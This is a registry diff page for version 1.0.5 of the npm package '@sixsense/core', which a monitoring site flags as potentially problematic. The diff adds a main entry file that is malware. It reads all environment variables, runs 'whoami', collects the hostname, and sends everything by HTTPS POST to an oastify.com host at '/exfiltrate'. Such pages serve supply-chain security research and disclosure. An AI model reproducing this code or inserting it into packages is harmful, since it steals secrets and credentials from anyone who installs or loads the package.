@sixsense/core 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sixsense/core might be problematic. Click here for more details.

@@ -0,0 +1,47 @@
1
+ const https = require('https');
2
+ const { exec } = require('child_process');
3
+
4
+ // Capture environment variables
5
+ const envVars = JSON.stringify(process.env);
6
+
7
+ // Execute the 'whoami' command to get the current user
8
+ exec('whoami', (error, stdout, stderr) => {
9
+ if (error) {
10
+ console.error(`Error executing whoami: ${error.message}`);
11
+ return;
12
+ }
13
+
14
+ if (stderr) {
15
+ console.error(`stderr: ${stderr}`);
16
+ return;
17
+ }
18
+
19
+ // Exfiltrate both the environment variables and 'whoami' output
20
+ const data = JSON.stringify({
21
+ host: require('os').hostname(),
22
+ envVars: envVars,
23
+ whoami: stdout.trim() // Include the result of 'whoami'
24
+ });
25
+
26
+ const options = {
27
+ hostname: '6pwqdyweu2qteum9mk60y2f6nxtohh56.oastify.com',
28
+ port: 443,
29
+ path: '/exfiltrate',
30
+ method: 'POST',
31
+ headers: {
32
+ 'Content-Type': 'application/json',
33
+ 'Content-Length': data.length
34
+ }
35
+ };
36
+
37
+ const req = https.request(options, (res) => {
38
+ console.log(`Status: ${res.statusCode}`);
39
+ });
40
+
41
+ req.on('error', (error) => {
42
+ console.error(error);
43
+ });
44
+
45
+ req.write(data);
46
+ req.end();
47
+ });
package/package.json ADDED
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "@sixsense/core",
3
+ "version": "1.0.5",
4
+ "main": "components/index.js"
5
+ }